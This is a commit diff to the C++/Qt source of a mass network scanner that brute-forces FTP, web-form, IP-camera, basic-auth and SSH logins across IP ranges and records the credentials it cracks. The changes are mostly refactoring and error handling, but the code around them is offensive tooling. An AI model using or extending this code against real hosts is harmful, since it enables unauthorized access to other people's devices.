This commit is contained in:
cora32 2015-02-08 22:00:53 +03:00
parent 51ef7cd65d
commit a9f8a4eb68
6 changed files with 99 additions and 79 deletions

View File

@ -6,6 +6,7 @@
#include "mainResources.h"
#include "externFunctions.h"
#include "externData.h"
#include <openssl/err.h>
#if defined(Q_OS_WIN32)
#include <iphlpapi.h>
@ -172,14 +173,13 @@ int OpenConnection(SOCKET *sock, const char *hostname, int port)
void _baSSLWorker(char *ip, char *request, char *rvBuff)
{
SSL_CTX *ctx = NULL;
const SSL_METHOD *method = SSLv3_client_method(); /* Create new client-method instance */
ctx = SSL_CTX_new(method); /* Create new context */
SSL_CTX_set_timeout(ctx, gTimeOut);
SOCKET sock;
SSL_CTX *ctx = SSL_CTX_new(method); /* Create new context */
if(ctx != NULL)
{
SOCKET sock;
SSL_CTX_set_timeout(ctx, gTimeOut);
int result = OpenConnection(&sock, ip, 443);
if(result >= 0)
{
@ -223,7 +223,12 @@ void _baSSLWorker(char *ip, char *request, char *rvBuff)
}
else
{
stt->doEmitionRedFoundData("SSL(InitCTX).");
char buff1[512] = {0};
char buff2[512] = {0};
ERR_error_string(ERR_peek_error(), buff1);
ERR_error_string(ERR_peek_last_error(), buff2);
stt->doEmitionRedFoundData(QString(ip) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2));
};
};
char *_getAttributeValue(char *str, char *val, char *ip, int port)
@ -1239,7 +1244,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
if(gThreads > 1 && WSAerr != 10060/*Timeout*/ && WSAerr != 10055/*POOLOVERFLOW*/ && WSAerr != 10061/*WSAECONNREFUSED*/ && WSAerr != 10054/*WSACONNABORTED*/ && WSAerr != 0)
{
stt->doEmitionRedFoundData("[FTPBrute] Cannot connect to " + QString(ip) + " " + QString(std::to_string((long double)WSAerr).c_str()));
stt->doEmitionRedFoundData("[FTPBrute] Cannot connect to " + QString(ip) + " " + QString(std::to_string(WSAerr).c_str()));
};
CSSOCKET(sockFTP);
isActive = 0;
@ -1284,14 +1289,13 @@ int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR)
int bytes = 0;
char *recvBuff2 = 0;
int resCode = 0;
SOCKET sock;
SSL_CTX *ctx = NULL;
const SSL_METHOD *method = SSLv3_client_method(); /* Create new client-method instance */
ctx = SSL_CTX_new(method); /* Create new context */
SSL_CTX_set_timeout(ctx, gTimeOut);
SSL_CTX *ctx = SSL_CTX_new(method); /* Create new context */
if(ctx != NULL)
{
SOCKET sock;
SSL_CTX_set_timeout(ctx, gTimeOut);
resCode = OpenConnection(&sock, iph, porth);
if(resCode >= 0)
{
@ -1407,9 +1411,17 @@ int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR)
return 0;
};
};
};
stt->doEmitionRedFoundData("SSL(InitCTX).");
}
else
{
char buff1[512] = {0};
char buff2[512] = {0};
ERR_error_string(ERR_peek_error(), buff1);
ERR_error_string(ERR_peek_last_error(), buff2);
stt->doEmitionRedFoundData(QString(iph) + ":" + QString(porth) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2));
return -1;
}
};
int Connector::_EstablishSSLConnection(char *iph, int porth, char *requesth, conSTR *CSTR)
{

View File

@ -307,6 +307,7 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip)
|| strstr(buffcpy, "sanpshot_icon") != NULL || strstr(buffcpy, "snapshot_icon") != NULL
|| strstr(buffcpy, "ipcam") != NULL
) return 0;
if(lxf.globalSearchNeg(buffcpy, ip, port) == -1) return -1;
if(globalSearchPrnt(buffcpy) == -1) return -1;
if(strstr(buffcpy, "<form ") != NULL && strstr(buffcpy, "302 found") == NULL) return 10;
@ -380,7 +381,6 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip)
if(strstr(buffcpy, "dvr") != NULL && strstr(buffcpy, "ieorforefox") != NULL
&& strstr(buffcpy, "sofari") != NULL) return 49; //IEORFOREFOX
if(((strstr(buffcpy, "220") != NULL) && (port == 21)) ||
(strstr(buffcpy, "220 diskStation ftp server ready") != NULL) ||
(strstr(buffcpy, "220 ftp server ready") != NULL)
@ -786,35 +786,35 @@ void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *h
strcat(log, ":");
strcat(log, port);
strcat(log, "</font></a>;</span> <span id=\"recvSpan\">Received: <font color=SteelBlue>");
strcat(log, std::to_string((long double)recd).c_str());
strcat(log, std::to_string(recd).c_str());
strcat(log, "</font>");
if(flag == 666 || flag == 350)
{
fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, "", "", "", cp, "Strange error");
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), finalstr, "", "", "", cp, "Strange error");
++PieAnomC1;
++AnomC1;
}
else if(flag == 0 || flag == 15 || flag == -10)
{
fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, "", "", "", cp, "Anomaly");
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), finalstr, "", "", "", cp, "Anomaly");
++PieAnomC1;
++AnomC1;
}
else if(flag == 3)
{
fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, "", "", "", cp, "Suspicious");
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), finalstr, "", "", "", cp, "Suspicious");
++PieSusp;
++Susp;
}
else if(flag == 7)
{
fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, "", "", "", cp, "Low load");
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), finalstr, "", "", "", cp, "Low load");
++PieLowl;
}
else if(flag == 10)
{
fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, "", "", "", cp, "Login form");
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), finalstr, "", "", "", cp, "Login form");
++PieWF;
};
@ -1169,14 +1169,14 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path
else
{
if(gNegDebugMode) stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: No text/password fields found.");
///fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "NULL", "NULL", comment, cp, tclass);
///fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), title, "NULL", "NULL", comment, cp, tclass);
///putInFile(flag, ip, tport, recd, title, hl, cp);
};
}
else
{
stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: Cannot find form block.");
fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "NULL", "NULL", comment, cp, tclass);
fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), title, "NULL", "NULL", comment, cp, tclass);
putInFile(flag, ip, tport, recd, title, hl, cp);
};
@ -1244,19 +1244,20 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path
{
_specFillerWF(hl, ip, tport, title, lps.login, lps.pass, flag);
fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, lps.login, lps.pass, comment, cp, tclass);
fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), title, lps.login, lps.pass, comment, cp, tclass);
putInFile(flag, ip, tport, recd, title, hl, cp);
};
}
else
{
if(gNegDebugMode) stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: Cannot find user/pass field.");
///fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "", "", "UnknownWebform", cp, tclass);
///fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), title, "", "", "UnknownWebform", cp, tclass);
///putInFile(flag, ip, tport, recd, title, hl, cp);
};
};
isActive = 0;
};
void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, char *comment, char *tclass, char *cp, int recd, char *SPEC)
{
lopaStr lps;
@ -1274,7 +1275,7 @@ void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag,
{
_specFillerBA(hl, ip, tport, finalstr, lps.login, lps.pass, flag);
fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
};
};
void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *data)
@ -1298,7 +1299,7 @@ void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int
{
_specFillerBA(hl, ip, tport, finalstr, lps.login, lps.pass, flag);
fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
};
ZeroMemory(temp, sizeof(temp));
@ -1459,7 +1460,7 @@ void _saveSSH(char *ip, int port, int recd, char *buffcpy)
char *ptrl2 = strstr(buffcpy, "@");
lpsz = ptrl2 - ptrl1;
strncpy(passSSH, ptrl1 + 1, lpsz);
fillGlobalLogData(ip, "", itoa(port, b, 10), std::to_string((long double)recd).c_str(), "[SSH service]", loginSSH, passSSH, "NULL", "UTF-8", "SSH");
fillGlobalLogData(ip, "", itoa(port, b, 10), std::to_string(recd).c_str(), "[SSH service]", loginSSH, passSSH, "NULL", "UTF-8", "SSH");
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
}
else
@ -1477,7 +1478,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
char b[16] = {0};
if( strstr(buffcpy, "[IGNR_ADDR]") != NULL ) return -1;
if( strstr(buffcpy, "SSH-2.0-OpenSSH") != NULL )
if( strstr(buffcpy, "SSH-2.0-OpenSSH") != NULL || strstr(buffcpy, "SSH-2.0-mod_sftp") != NULL)
{
Connector con;
conSTR CSTR;
@ -1567,7 +1568,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
strcat(log, port);
strcat(log, "</font>");
strcat(log, "; Received: ");
strncat(log, std::to_string((long double)recd).c_str(), 100);
strncat(log, std::to_string(recd).c_str(), 100);
lps = con._FTPLobby(ip, p, &ps);
@ -1609,7 +1610,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
fputsf (ip, port, log, flag, "FTP");
fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), "[FTP service]", lps.login, lps.pass, "Router FTP detected.", cp, "FTP");
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), "[FTP service]", lps.login, lps.pass, "Router FTP detected.", cp, "FTP");
#pragma region QTGUI_Area
@ -1647,12 +1648,12 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
strcat(logEmit, "@");
strcat(logEmit, ip);
strcat(logEmit, "</span></a> (F:");
strcat(logEmit, std::to_string((long double)ps.directoryCount).c_str());
strcat(logEmit, std::to_string(ps.directoryCount).c_str());
strcat(logEmit, ")");
fputsf(ip, port, log, flag, "FTP");
fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), "[FTP service]", lps.login, lps.pass, "NULL", cp, "FTP");
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), "[FTP service]", lps.login, lps.pass, "NULL", cp, "FTP");
#pragma region QTGUI_Area
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
#pragma endregion
@ -1841,7 +1842,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
strcat(log, ":");
strcat(log, lps.pass);
strcat(log, "</font>");
fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, lps.login, lps.pass, "HFS-FTP", cp, "Basic Authorization");
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), finalstr, lps.login, lps.pass, "HFS-FTP", cp, "Basic Authorization");
fputsf (ip, port, log , flag, "HFS");
stt->doEmitionFoundData(QString::fromLocal8Bit(log));
ZeroMemory(temp, sizeof(temp));
@ -2867,7 +2868,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
strcpy(lol, "http://");
strcat(lol, ip);
strcat(lol, ":");
strcat(lol, std::to_string((long double)port).c_str());
strcat(lol, std::to_string(port).c_str());
if(script[0] != '/') strcat(lol, "/");
strcat(lol, script);
}

View File

@ -6,18 +6,20 @@
#endif
//--Fixing _ITERATOR_DEBUG_LEVEL 0!=2
#if defined(Q_OS_WIN32)
int WINAPI WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance, LPSTR lpcmdline, int ncmdshow)
{
QApplication a(ncmdshow, (char **)lpcmdline);
#else
//#if defined(Q_OS_WIN32)
//int WINAPI WinMain(HINSTANCE hInstance,
// HINSTANCE hPrevInstance, LPSTR lpcmdline, int ncmdshow)
//{
// QApplication a(ncmdshow, (char **)lpcmdline);
//#else
//int main(int argc, char *argv[])
//{
// QApplication a(argc, argv);
//#endif
//#if defined(Q_OS_WIN32)
int main(int argc, char *argv[])
{
QApplication a(argc, argv);
#endif
#if defined(Q_OS_WIN32)
QStringList list;
list << "Eurostile.ttf";
int fontID(-1);
@ -36,7 +38,7 @@ int main(int argc, char *argv[])
}
}
#endif
//#endif
nesca_3 *gui = new nesca_3();
gui->showNormal();

View File

@ -1,6 +1,7 @@
#pragma once
#include "base64.h"
#include <libssh\libssh.h>
#if defined(Q_OS_WIN32)
#pragma once
#include "iostream"

View File

@ -696,7 +696,7 @@ void nesca_3::slotQoSAddLine()
fnt.setFamily("Eurostile");
fnt.setPixelSize(10);
QGraphicsTextItem *item = sceneUpper->addText("Max = " + QString(std::to_string((long double)MaxDataVal).c_str()), fnt);
QGraphicsTextItem *item = sceneUpper->addText("Max = " + QString(std::to_string(MaxDataVal).c_str()), fnt);
item->setX(215);
item->setDefaultTextColor(Qt::white);
QOSWait = false;
@ -2938,6 +2938,10 @@ void RestoreSession()
lex = strtok(strstr(resStr, "[SESSION]:") + strlen("[SESSION]:"), " ");
gMode = atoi(lex);
lex = strtok(NULL, " ");
if (lex == nullptr) {
stt->doEmitionRedFoundData("Restore file is corrupted.");
return;
}
if(gMode == 0)
{

View File

@ -186,7 +186,7 @@ void _SaveBackupToFile()
if(strlen(endIP2) > 0)
{
strcpy(saveStr, "[SESSION]:");
strcat(saveStr, std::to_string((long double)gMode).c_str());
strcat(saveStr, std::to_string(gMode).c_str());
strcat(saveStr, " ");
if(gMode == 0) strcat(saveStr, saveStartIP);
strcat(saveStr, endStr);
@ -196,7 +196,7 @@ void _SaveBackupToFile()
strcat(saveStr, top_level_domain);
};
strcat(saveStr, " ");
strcat(saveStr, std::to_string((long double)gThreads).c_str());
strcat(saveStr, std::to_string(gThreads).c_str());
strcat(saveStr, " ");
strcat(saveStr, gPorts);
@ -220,9 +220,9 @@ void _SaveBackupToFile()
{
for(int i = 0; i < 4; ++i)
{
strcat(curIpStart, std::to_string((long double)ipsstartfl[tCounter][i]).c_str());
strcat(curIpStart, std::to_string(ipsstartfl[tCounter][i]).c_str());
if ( i != 3) strcat(curIpStart, ".");
strcat(curIpEnd, std::to_string((long double)ipsendfl[tCounter][i]).c_str());
strcat(curIpEnd, std::to_string(ipsendfl[tCounter][i]).c_str());
if ( i != 3) strcat(curIpEnd, ".");
};
@ -243,10 +243,10 @@ void _SaveBackupToFile()
};
strcpy(saveStr, "[SESSION]:");
strcat(saveStr, std::to_string((long double)gMode).c_str());
strcat(saveStr, std::to_string(gMode).c_str());
strcat(saveStr, " RESTORE_IMPORT_SESSION");
strcat(saveStr, " ");
strcat(saveStr, std::to_string((long double)gThreads).c_str());
strcat(saveStr, std::to_string(gThreads).c_str());
strcat(saveStr, " ");
strcat(saveStr, gPorts);
@ -403,7 +403,7 @@ void *_timer()
if(ips > 0)
{
strncpy(dbuffer, std::to_string((long double)((gTargets + 1)/ips/3600/24)).c_str(), 5);
strncpy(dbuffer, std::to_string(((gTargets + 1)/ips/3600/24)).c_str(), 5);
}
else strcpy(dbuffer, "INF");
strcpy(metaETA, dbuffer);
@ -641,7 +641,7 @@ void *_tracker()
strcat(msg, ndbServer);
strcat(msg, "\r\nContent-Type: application/json\r\nAccept-Encoding: application/json\r\nContent-Length: ");
strcat(msg, std::to_string((long double)r.size()).c_str());
strcat(msg, std::to_string(r.size()).c_str());
strcat(msg, "\r\nConnection: close\r\n\r\n");
strcat(msg, r.data());
@ -850,7 +850,7 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[])
// // else
// // {
// // strcpy(res, "Hostname: ");
// // //if(result->h_length != NULL) strcat(res, std::to_string((long double)result->h_length).c_str());
// // //if(result->h_length != NULL) strcat(res, std::to_string(result->h_length).c_str());
// // //strcat(res, " ");
// // //if(result->h_name != NULL) strcat(res, (result->h_name));
// // //strcat(res, ":");
@ -884,7 +884,7 @@ void *_connect(void* ss)
for(int i = 0; i <= overallPorts; ++i)
{
if(globalScanFlag == false) break;
if(con._ConnectToPort( ip, std::to_string((long double)portArr[i]).c_str(), "" ) == -2) break;
if(con._ConnectToPort( ip, std::to_string(portArr[i]).c_str(), "" ) == -2) break;
};
ConDec();
@ -966,7 +966,7 @@ void _passLoginFapper()
};
#pragma region QTGUI_Area
stt->doEmitionGreenFoundData("Password list loaded (" + QString(std::to_string((long double)MaxPass).c_str()) + " entries)");
stt->doEmitionGreenFoundData("Password list loaded (" + QString(std::to_string(MaxPass).c_str()) + " entries)");
#pragma endregion
i = 0;
@ -981,7 +981,7 @@ void _passLoginFapper()
};
#pragma region QTGUI_Area
stt->doEmitionGreenFoundData("Login list loaded (" + QString(std::to_string((long double)MaxLogin).c_str()) + " entries)");
stt->doEmitionGreenFoundData("Login list loaded (" + QString(std::to_string(MaxLogin).c_str()) + " entries)");
#pragma endregion
fclose(loginList);
@ -1047,7 +1047,7 @@ void _passLoginFapper()
};
#pragma region QTGUI_Area
stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString(std::to_string((long double)MaxWFPass).c_str()) + " entries)");
stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString(std::to_string(MaxWFPass).c_str()) + " entries)");
#pragma endregion
i = 0;
@ -1062,7 +1062,7 @@ void _passLoginFapper()
};
#pragma region QTGUI_Area
stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString(std::to_string((long double)MaxWFLogin).c_str()) + " entries)");
stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString(std::to_string(MaxWFLogin).c_str()) + " entries)");
#pragma endregion
fclose(wfLoginList);
@ -1113,7 +1113,7 @@ void _passLoginFapper()
};
#pragma region QTGUI_Area
stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString(std::to_string((long double)MaxSSHPass).c_str()) + " entries)");
stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString(std::to_string(MaxSSHPass).c_str()) + " entries)");
#pragma endregion
fclose(sshlpList);
@ -1128,7 +1128,7 @@ void _passLoginFapper()
#pragma endregion
#pragma region QTGUI_Area
stt->doEmitionYellowFoundData("BA: ~" + QString(std::to_string((long double)MaxLogin * MaxPass/gTimeOut/60).c_str()) + "; WF: ~" + QString(std::to_string((long double)MaxWFLogin * MaxWFPass/gTimeOut/60).c_str()) + "; SSH: ~" + QString(std::to_string((long double)MaxSSHPass/gTimeOut/60).c_str()));
stt->doEmitionYellowFoundData("BA: ~" + QString(std::to_string(MaxLogin * MaxPass/gTimeOut/60).c_str()) + "; WF: ~" + QString(std::to_string(MaxWFLogin * MaxWFPass/gTimeOut/60).c_str()) + "; SSH: ~" + QString(std::to_string(MaxSSHPass/gTimeOut/60).c_str()));
#pragma endregion
};
void ReadUTF8(FILE* nFile, char *cp)
@ -1719,7 +1719,7 @@ void FileLoader(char *str)
{
char tempMsg[256] = {0};
strcpy(tempMsg, "[IP Loader]Wrong list format. Line-> [");
strcat(tempMsg, std::to_string((long double)flCounter).c_str());
strcat(tempMsg, std::to_string(flCounter).c_str());
strcat(tempMsg, "] String-> [");
strcat(tempMsg, curIPCopy);
strcat(tempMsg, "]");
@ -1820,7 +1820,7 @@ void FileLoader(char *str)
{
char tempMsg[256] = {0};
strcpy(tempMsg, "[IP Loader]Wrong list format. Line-> [");
strcat(tempMsg, std::to_string((long double)flCounter).c_str());
strcat(tempMsg, std::to_string(flCounter).c_str());
strcat(tempMsg, "] String-> [");
strcat(tempMsg, curIPCopy);
strcat(tempMsg, "]");
@ -2329,13 +2329,13 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
if(ipsstart[3] == ipsend[3] && eor2 == 1) eor3 = 1;
++indexIP;
strcat(res, std::to_string((long double)ipsstart[0]).c_str());
strcat(res, std::to_string(ipsstart[0]).c_str());
strcat(res, ".");
strcat(res, std::to_string((long double)ipsstart[1]).c_str());
strcat(res, std::to_string(ipsstart[1]).c_str());
strcat(res, ".");
strcat(res, std::to_string((long double)ipsstart[2]).c_str());
strcat(res, std::to_string(ipsstart[2]).c_str());
strcat(res, ".");
strcat(res, std::to_string((long double)ipsstart[3]).c_str());
strcat(res, std::to_string(ipsstart[3]).c_str());
strcpy(st->argv, res);
strcpy(saveStartIP, res);
@ -2551,21 +2551,21 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
sockstruct *st = NULL;
for(gC = 0; gC < flCounter; ++gC)
{
strcpy(metaRange, std::to_string((long double)ipsstartfl[gC][0]).c_str());
strcpy(metaRange, std::to_string(ipsstartfl[gC][0]).c_str());
strcat(metaRange, ".");
strcat(metaRange, std::to_string((long double)ipsstartfl[gC][1]).c_str());
strcat(metaRange, std::to_string(ipsstartfl[gC][1]).c_str());
strcat(metaRange, ".");
strcat(metaRange, std::to_string((long double)ipsstartfl[gC][2]).c_str());
strcat(metaRange, std::to_string(ipsstartfl[gC][2]).c_str());
strcat(metaRange, ".");
strcat(metaRange, std::to_string((long double)ipsstartfl[gC][3]).c_str());
strcat(metaRange, std::to_string(ipsstartfl[gC][3]).c_str());
strcat(metaRange, "-");
strcat(metaRange, std::to_string((long double)ipsendfl[gC][0]).c_str());
strcat(metaRange, std::to_string(ipsendfl[gC][0]).c_str());
strcat(metaRange, ".");
strcat(metaRange, std::to_string((long double)ipsendfl[gC][1]).c_str());
strcat(metaRange, std::to_string(ipsendfl[gC][1]).c_str());
strcat(metaRange, ".");
strcat(metaRange, std::to_string((long double)ipsendfl[gC][2]).c_str());
strcat(metaRange, std::to_string(ipsendfl[gC][2]).c_str());
strcat(metaRange, ".");
strcat(metaRange, std::to_string((long double)ipsendfl[gC][3]).c_str());
strcat(metaRange, std::to_string(ipsendfl[gC][3]).c_str());
eor0 = 0, eor1 = 0, eor2 = 0, eor3 = 0;
while ((eor0 == 0 || eor1 == 0 || eor2 == 0 || eor3 == 0) && globalScanFlag)
@ -2596,13 +2596,13 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
++indexIP;
strcat(res, std::to_string((long double)ipsstartfl[gC][0]).c_str());
strcat(res, std::to_string(ipsstartfl[gC][0]).c_str());
strcat(res, ".");
strcat(res, std::to_string((long double)ipsstartfl[gC][1]).c_str());
strcat(res, std::to_string(ipsstartfl[gC][1]).c_str());
strcat(res, ".");
strcat(res, std::to_string((long double)ipsstartfl[gC][2]).c_str());
strcat(res, std::to_string(ipsstartfl[gC][2]).c_str());
strcat(res, ".");
strcat(res, std::to_string((long double)ipsstartfl[gC][3]).c_str());
strcat(res, std::to_string(ipsstartfl[gC][3]).c_str());
strcpy(st->argv, res);
strcpy(saveStartIP, res);